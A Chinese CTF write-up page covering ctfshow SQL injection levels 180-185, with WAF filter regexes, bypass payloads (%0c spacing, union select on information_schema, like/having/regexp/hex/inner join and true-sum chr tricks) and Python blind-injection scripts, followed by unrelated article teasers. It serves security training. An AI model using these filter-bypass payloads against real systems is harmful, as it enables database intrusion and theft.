当前位置: 首页 > news >正文

ctfshow sql

180  过滤%23

%23被过滤,没办法注释了,还可以用’1’='1来闭合后边。

或者使用--%0c--

1'%0corder%0cby%0c3--%0c--1'%0cunion%0cselect%0c1,2,database()--%0c--1'%0cunion%0cselect%0c1,2,table_name%0cfrom%0cinformation_schema.tables%0cwhere%0ctable_schema='ctfshow_web'--%0c--1'%0cunion%0cselect%0c1,2,column_name%0cfrom%0cinformation_schema.columns%0cwhere%0ctable_name='ctfshow_user'--%0c--1'%0cunion%0cselect%0c1,2,password%0cfrom%0cctfshow_user--%0c--

181  优先级

过滤了很多

//对传入的参数进行了过滤function waf($str){return preg_match('/ |\*|\x09|\x0a|\x0b|\x0c|\x00|\x0d|\xa0|\x23|\#|file|into|select/i', $str);}

这里通过优先级进行绕过

and > or 所以and会先执行
因为1 and 0 ====01 and 0 or 1  就会变为   0 or 1  =====1所以我们可以根据这个特性绕过

-1'||username='flag

182 id查询

//对传入的参数进行了过滤function waf($str){return preg_match('/ |\*|\x09|\x0a|\x0b|\x0c|\x00|\x0d|\xa0|\x23|\#|file|into|select|flag/i', $str);}

 因为flag被过滤了,所以不能用上面一题的

但是我们可以知道flag的id是26

-1'||id='26

 183  构造where like绕过

的确很懵b

查询语句//拼接sql语句查找指定ID用户$sql = "select count(pass) from ".$_POST['tableName'].";";返回逻辑//对传入的参数进行了过滤function waf($str){return preg_match('/ |\*|\x09|\x0a|\x0b|\x0c|\x0d|\xa0|\x00|\#|\x23|file|\=|or|\x7c|select|and|flag|into/i', $str);}查询结果//返回用户表的记录总数$user_count = 0;

 tableName用post传参

我们知道当前表名叫做ctfshow_user

传参试试

$sql = "select count(pass) from ".$_POST['tableName'].";";

放进sql查询,因为语句中没有where,我们要加上where子句

select count(pass) from "ctfshow_user" where pass = ctf#";

但是我们上面可以看到很多被过滤了,=也被过滤了,用like来绕过

看下like的模糊匹配

(ctfshow_user)where(pass)like'ctf%'
ctf%匹配ctf开头

import requests
import string
url="http://aa24dff0-c290-4c34-adf3-fa3279663bca.challenge.ctf.show/select-waf.php"
payload="(ctfshow_user)where(pass)like'ctfshow{0}%'"
flag=''for i in range(1,50):for j in '0123456789abcdefghijklmnopqrstuvwxyz-{}':payload1=payload.format(flag+j)data={'tableName':payload1}r=requests.post(url=url,data=data)if "$user_count = 1;" in r.text:flag+=jprint(flag)

 

 184

where、单双引号、反引号都被过滤了,但是没有过滤空格。
 

查询语句//拼接sql语句查找指定ID用户$sql = "select count(*) from ".$_POST['tableName'].";";返回逻辑//对传入的参数进行了过滤function waf($str){return preg_match('/\*|\x09|\x0a|\x0b|\x0c|\0x0d|\xa0|\x00|\#|\x23|file|\=|or|\x7c|select|and|flag|into|where|\x26|\'|\"|union|\`|sleep|benchmark/i', $str);}查询结果//返回用户表的记录总数$user_count = 0;

因为没有了单双引号,因此我们无法继续采用正则匹配。因此我们只能使用非字符串的方式来匹配。那么选择使用16进制来匹配。

where可以用having来绕过

看下我上篇写的having语句

SELECT TABLE_NAME,sum(ORDINAL_POSITION) FROM `COLUMNS` GROUP BY TABLE_NAME HAVING sum(ORDINAL_POSITION)>30查询两列,table_name,还有ordinal_position求和,用group by来组合两列,用having来限制条件

regexp 正则匹配

 SQL学习笔记 -- REGEXP - 知乎

tableName=ctfshow_user group by pass having pass regexp(0x63746673686f777b)

ctfshow{的十六进制编码就是0x63746673686f777b

这里随便猜了一下,第一位是2

import requests
import string
url="http://e67a2fc8-3328-4651-8709-8fb693e5f87f.challenge.ctf.show/select-waf.php"
payload="ctfshow_user group by pass having pass regexp(0x63746673686f777b{0})"
flag=''def str_to_hex(str):return ''.join([hex(ord(c)).replace('0x','') for c in str])  //replace()函数将十六进制字符串中的前缀"0x"替换为空字符串。
for i in range (1,50):for j in '0123456789abcdefghijklmnopqrstuvwxyz-{}':payload1=payload.format(str_to_hex(flag+j))# print(payload1)data={'tableName':payload1}r=requests.post(url=url,data=data)# print(r.text)if "$user_count = 1;" in r.text:flag+=jprint(flag)uuid = string.ascii_lowercase+string.digits+"-{}"
这里的j字符串变量可以用这些函数
string.ascii_lowercase 是一个包含英文字母小写的字符串常量。
string.digits 是一个包含十进制数字(0-9)的字符串常量。

一直报不出来mmd又是过期了环境,重新开了一个

 一开始搞不懂为什么要先进行ascii编码,然后直接试了一下,原来字符串不能直接进行hex十六进制编码

需要先取ASCII值,然后再hex

like

居然也可以用like 我还以为十六进制不行

but 发现只要like后面不加单引号,他也能匹配到

记住还有%,先进行编码一下

好了验证成功,我们来试一下payload

tableName=ctfshow_user group by pass having pass like (0x63746673686f777b25)

好了来修改脚本

import requests
import string
url="http://e67a2fc8-3328-4651-8709-8fb693e5f87f.challenge.ctf.show/select-waf.php"
payload="ctfshow_user group by pass having pass like (0x63746673686f777b{0})"
flag=''def str_to_hex(str):return ''.join([hex(ord(c)).replace('0x','') for c in str])
for i in range (1,50):for j in '0123456789abcdefghijklmnopqrstuvwxyz-{}':payload1=payload.format(str_to_hex(flag+j+'%'))# print(payload1)data={'tableName':payload1}r=requests.post(url=url,data=data)# print(r.text)if "$user_count = 1;" in r.text:flag+=jprint(flag)

主要是%

INNER join on

SQL INNER JOIN 关键字 | 菜鸟教程

INNER join on可以绕过where

先在mysql里面试一下

payload

tableName=ctfshow_user a inner join ctfshow_user b on b.pass like 0x63746673686f7725

脚本

import requests
import string
url="http://e67a2fc8-3328-4651-8709-8fb693e5f87f.challenge.ctf.show/select-waf.php"
payload="ctfshow_user a inner join ctfshow_user b on b.pass like 0x63746673686f777b{0}"
flag=''def str_to_hex(str):return ''.join([hex(ord(c)).replace('0x','') for c in str])
for i in range (1,50):for j in '0123456789abcdefghijklmnopqrstuvwxyz-{}':payload1=payload.format(str_to_hex(flag+j+'%'))# print(payload1)data={'tableName':payload1}r=requests.post(url=url,data=data)# print(r.text)if "$user_count = 22;"  in r.text:flag+=jprint(flag)

185  true代替数字,concat+chr代替引号

查询语句//拼接sql语句查找指定ID用户$sql = "select count(*) from ".$_POST['tableName'].";";返回逻辑//对传入的参数进行了过滤function waf($str){return preg_match('/\*|\x09|\x0a|\x0b|\x0c|\0x0d|\xa0|\x00|\#|\x23|[0-9]|file|\=|or|\x7c|select|and|flag|into|where|\x26|\'|\"|union|\`|sleep|benchmark/i', $str);}查询结果//返回用户表的记录总数$user_count = 0;

1、没有数字,我们需要构造出数字

 查看该语言是否存在可以被识别成数字的关键字(true为1,false为0)

我们先在mysql里面尝试一下看看

 SELECT true from information_Schema.columns

SELECT true+true from information_Schema.columns 

 SELECT char(true+true) from information_Schema.columns

把数字通过true来代替

import requests
url="http://69d16b4e-5bb1-4d21-bb3b-217be0426d81.challenge.ctf.show/select-waf.php"
payload='ctfshow_user a inner join ctfshow_user b on b.pass like ()'
flag='ctfshow{'
def createNum(s):num = 'true'  //把数字定义为trueif s == 1:return 'true'else:for i in range(s-1):num +='+true'return num  //数字为几就返回几个truea=4
print(createNum(a))

import requests
url="http://69d16b4e-5bb1-4d21-bb3b-217be0426d81.challenge.ctf.show/select-waf.php"
payload='ctfshow_user a inner join ctfshow_user b on b.pass like ()'
flag='ctfshow{'
def createNum(s):num = 'true'if s == 1:return 'true'else:for i in range(s-1):num +='+true'return num
def createStrNum(n):str=''str+="chr("+createNum(ord(n[0]))+")"  //第一个字符转为true格式 然后再加上chr 即可for i in n[1:]:str += ",chr(" + createNum(ord(i)) + ")"return stra='4'
print(createStrNum(a))

4的ascii是52

 简而言之,这两个函数实现的功能就是:

a=4

4的ascii码是52

那么第一个函数createNum(s)把数字转换成true字符串

第二个函数加上chr()

chr(true+true+.....+true)

这里还需要使用concat,使得 串在一起

import stringimport requestsurl = 'http://087df77e-3225-4a02-b671-225d996908c5.challenge.ctf.show/select-waf.php'
payload = 'ctfshow_user group by pass having pass like(concat({}))'
flag = 'ctfshow{'def createNum(n):num = 'true'if n == 1:return 'true'else:for i in range(n - 1):num += "+true"return numdef createStrNum(c):str = ''str += 'chr(' + createNum(ord(c[0])) + ')'for i in c[1:]:str += ',chr(' + createNum(ord(i)) + ')'return struuid = string.ascii_lowercase + string.digits + "-{}"for i in range(1, 50):for j in uuid:payload1 = payload.format(createStrNum(flag + j + "%"))# print(payload1)data = {'tableName': payload1}re = requests.post(url=url, data=data)if "$user_count = 0;" not in re.text:flag += jprint(flag)if j == '}':exit()break

相关文章:

ctfshow sql

180 过滤%23 %23被过滤,没办法注释了,还可以用’1’1来闭合后边。 或者使用--%0c-- 1%0corder%0cby%0c3--%0c--1%0cunion%0cselect%0c1,2,database()--%0c--1%0cunion%0cselect%0c1,2,table_name%0cfrom%0cinformation_schema.tables%0cwhere%0ctable_…...

Java实现求最大值

1 问题 接收用户输入的3个整数,如何将最大值作为结果输出。 2 方法 采用“截图文字代码”的方式描述。 引入输入包调用main()函数,提示并接收用户输入的3个整数,并交由变量a b c来保存。对接收的3个数据进行比较,先比较a和b&#…...

NX二次开发UF_CURVE_ask_curve_inflections 函数介绍

文章作者:里海 来源网站:https://blog.csdn.net/WangPaiFeiXingYuan UF_CURVE_ask_curve_inflections Defined in: uf_curve.h int UF_CURVE_ask_curve_inflections(tag_t curve_eid, double proj_matrx [ 9 ] , double range [ 2 ] , int * num_infpt…...

一个基于RedisTemplate静态工具类

每次是用RedisTemplate的时候都需要进行自动注入实在是太麻烦了,于是找到一个讨巧的办法。 import org.springframework.beans.factory.annotation.Autowired; import org.springframework.data.redis.core.RedisTemplate; import org.springframework.stereotype.…...

【计算机网络笔记】数据链路层——差错编码

系列文章目录 什么是计算机网络? 什么是网络协议? 计算机网络的结构 数据交换之电路交换 数据交换之报文交换和分组交换 分组交换 vs 电路交换 计算机网络性能(1)——速率、带宽、延迟 计算机网络性能(2)…...

js生成pdf并自动上传

1.生成pdf前要让js选中生成pdf部分的dom <div id"printPageFirst"> pdf内容区 </div> 2.使用两个插件&#xff0c;import到项目里&#xff0c;然后是获取dom进行生成pdf操作 import html2canvas from html2canvas import JsPDF from jspdf function cr…...

高品质MP3音频解码语音芯片WT2003Hx的特征优势与应用场景

在现代化科技快速发展的时代&#xff0c;高品质音频语音芯片在各个领域的应用越来越广泛。唯创知音推出的高品质MP3音频语音芯片WT2003Hx&#xff0c;凭借其出色的特性与优势&#xff0c;赢得了市场的广泛认可。本文将详细介绍WT2003Hx的特征优势以及其在各个领域的应用场景。 …...

浅析linux中的信号

人们往往将信号称为“软件中断”&#xff0c;它提供了异步事件的处理机制&#xff0c;这些事件可以来自系统外部&#xff08;如用户按下ctrlc产生中断符&#xff09;&#xff0c;也可能来自程序或者内核内部的执行动作&#xff08;如进程除零操作&#xff09;。进程收到信号&am…...

从0开始学习JavaScript--JavaScript数据类型与数据结构

JavaScript作为一门动态、弱类型的脚本语言&#xff0c;拥有丰富的数据类型和数据结构&#xff0c;这些构建了语言的基础&#xff0c;为开发者提供了灵活性和表达力。本文将深入探讨JavaScript中的各种数据类型&#xff0c;包括基本数据类型和复杂数据类型&#xff0c;并介绍常…...

数据结构与算法编程题20

统计二叉树的叶结点个数。 #define _CRT_SECURE_NO_WARNINGS#include <iostream> using namespace std;typedef char ElemType; #define ERROR 0 #define OK 1 typedef struct BiNode {ElemType data;BiNode* lchild, * rchild; }BiNode,*BiTree;bool Create_tree(BiTre…...

FreeRTOS源码阅读笔记5--mutex

互斥量是一种特殊的二值信号量&#xff0c;拥有优先级继承的机制&#xff0c;所以适合用在临界资源互斥访问。 5.1创建互斥量xSemaphoreCreateMutex() 5.1.1函数原型 5.1.2函数框架 5.2创建递归互斥量xSemaphoreCreateRecursiveMutex() 5.2.1函数原型 5.2.2函数框架 xSemaph…...

STM32_7(ADC)

一、ADC ADC&#xff08;Analog-Digital Converter&#xff09;模拟-数字转换器ADC可以将引脚上连续变化的模拟电压转换为内存中存储的数字变量&#xff0c;建立模拟电路到数字电路的桥梁12位逐次逼近型ADC&#xff0c;1us转换时间输入电压范围&#xff1a;0~3.3V&#xff0c;…...

Flink实战(11)-Exactly-Once语义之两阶段提交

0 大纲 [Apache Flink]2017年12月发布的1.4.0版本开始&#xff0c;为流计算引入里程碑特性&#xff1a;TwoPhaseCommitSinkFunction。它提取了两阶段提交协议的通用逻辑&#xff0c;使得通过Flink来构建端到端的Exactly-Once程序成为可能。同时支持&#xff1a; 数据源&#…...

日志技术logback

一&#xff0c;日志概括 二&#xff0c;日志技术的特点 三&#xff0c;日志技术的体系 三&#xff0c;入门 四&#xff0c;案例 package XinZheng;import org.slf4j.Logger; import org.slf4j.LoggerFactory;public class Main58 {//1,创建一个Logger日志对象public static fi…...

linux(1)之build构建系统基础(一)

Linux(1)之buildroot构建系统(一) Author&#xff1a;Onceday Date&#xff1a;2023年11月12日 漫漫长路&#xff0c;才刚刚开始… 参考文档&#xff1a; The Yocto ProjectBuildroot - Making Embedded Linux Easy 文章目录 Linux(1)之buildroot构建系统(一)1. 概述1.1 如…...

25 Linux I2C 驱动

一、I2C简介 I2C老朋友了&#xff0c;在单片机里面也学过&#xff0c;现在再复习一下。I2C使用两条线在主控制器和从机之间进行数据通信。一条是 SCL(串行时钟线)&#xff0c;另外一条是 SDA(串行数据线)&#xff0c;这两条数据线需要接上拉电阻&#xff0c;总线空闲的时候 SCL…...

API 设计:使用 Node.js 和 Express.js 的综合教程

API&#xff08;应用程序编程接口&#xff09;设计涉及创建一个高效而强大的接口&#xff0c;允许不同的软件应用程序相互交互。 说明 本教程将指导您使用 Node.js 和 Express.js 作为核心技术来规划、设计和构建 API。但是&#xff0c;这些原则可以应用于任何语言或框架。我们…...

vite和webpack的区别和练习

Vite和Webpack都是现代化的前端构建工具&#xff0c;但它们之间存在一些区别&#xff1a; 构建性能&#xff1a;Vite使用ES Modules提高了构建性能&#xff0c;可以在构建时只构建需要的部分&#xff0c;而Webpack则需要在构建时处理整个应用程序。 开发体验&#xff1a;Vite具…...

Python与设计模式--装饰器模式

6-Python与设计模式–装饰器模式 一、快餐点餐系统 又提到了那个快餐点餐系统&#xff0c;不过今天我们只以其中的一个类作为主角&#xff1a;饮料类。 首先&#xff0c;回忆下饮料类&#xff1a; class Beverage():name ""price 0.0type "BEVERAGE"…...

flutter之graphic图表自定义tooltip

renderer graphic中tooltip的TooltipGuide类提供了renderer方法&#xff0c;接收三个参数Size类型&#xff0c;Offset类型&#xff0c;Map<int, Tuple>类型。可查到的文档是真的少&#xff0c;所以只能在源码中扒拉例子&#xff0c;做符合需求的修改。 官方github示例 …...

【网络】每天掌握一个Linux命令 - iftop

在Linux系统中&#xff0c;iftop是网络管理的得力助手&#xff0c;能实时监控网络流量、连接情况等&#xff0c;帮助排查网络异常。接下来从多方面详细介绍它。 目录 【网络】每天掌握一个Linux命令 - iftop工具概述安装方式核心功能基础用法进阶操作实战案例面试题场景生产场景…...

dedecms 织梦自定义表单留言增加ajax验证码功能

增加ajax功能模块&#xff0c;用户不点击提交按钮&#xff0c;只要输入框失去焦点&#xff0c;就会提前提示验证码是否正确。 一&#xff0c;模板上增加验证码 <input name"vdcode"id"vdcode" placeholder"请输入验证码" type"text&quo…...

MODBUS TCP转CANopen 技术赋能高效协同作业

在现代工业自动化领域&#xff0c;MODBUS TCP和CANopen两种通讯协议因其稳定性和高效性被广泛应用于各种设备和系统中。而随着科技的不断进步&#xff0c;这两种通讯协议也正在被逐步融合&#xff0c;形成了一种新型的通讯方式——开疆智能MODBUS TCP转CANopen网关KJ-TCPC-CANP…...

ServerTrust 并非唯一

NSURLAuthenticationMethodServerTrust 只是 authenticationMethod 的冰山一角 要理解 NSURLAuthenticationMethodServerTrust, 首先要明白它只是 authenticationMethod 的选项之一, 并非唯一 1 先厘清概念 点说明authenticationMethodURLAuthenticationChallenge.protectionS…...

C# 类和继承(抽象类)

抽象类 抽象类是指设计为被继承的类。抽象类只能被用作其他类的基类。 不能创建抽象类的实例。抽象类使用abstract修饰符声明。 抽象类可以包含抽象成员或普通的非抽象成员。抽象类的成员可以是抽象成员和普通带 实现的成员的任意组合。抽象类自己可以派生自另一个抽象类。例…...

鱼香ros docker配置镜像报错:https://registry-1.docker.io/v2/

使用鱼香ros一件安装docker时的https://registry-1.docker.io/v2/问题 一键安装指令 wget http://fishros.com/install -O fishros && . fishros出现问题&#xff1a;docker pull 失败 网络不同&#xff0c;需要使用镜像源 按照如下步骤操作 sudo vi /etc/docker/dae…...

Android Bitmap治理全解析:从加载优化到泄漏防控的全生命周期管理

引言 Bitmap&#xff08;位图&#xff09;是Android应用内存占用的“头号杀手”。一张1080P&#xff08;1920x1080&#xff09;的图片以ARGB_8888格式加载时&#xff0c;内存占用高达8MB&#xff08;192010804字节&#xff09;。据统计&#xff0c;超过60%的应用OOM崩溃与Bitm…...

视觉slam十四讲实践部分记录——ch2、ch3

ch2 一、使用g++编译.cpp为可执行文件并运行(P30) g++ helloSLAM.cpp ./a.out运行 二、使用cmake编译 mkdir build cd build cmake .. makeCMakeCache.txt 文件仍然指向旧的目录。这表明在源代码目录中可能还存在旧的 CMakeCache.txt 文件,或者在构建过程中仍然引用了旧的路…...

深度学习水论文:mamba+图像增强

&#x1f9c0;当前视觉领域对高效长序列建模需求激增&#xff0c;对Mamba图像增强这方向的研究自然也逐渐火热。原因在于其高效长程建模&#xff0c;以及动态计算优势&#xff0c;在图像质量提升和细节恢复方面有难以替代的作用。 &#x1f9c0;因此短时间内&#xff0c;就有不…...

day36-多路IO复用

一、基本概念 &#xff08;服务器多客户端模型&#xff09; 定义&#xff1a;单线程或单进程同时监测若干个文件描述符是否可以执行IO操作的能力 作用&#xff1a;应用程序通常需要处理来自多条事件流中的事件&#xff0c;比如我现在用的电脑&#xff0c;需要同时处理键盘鼠标…...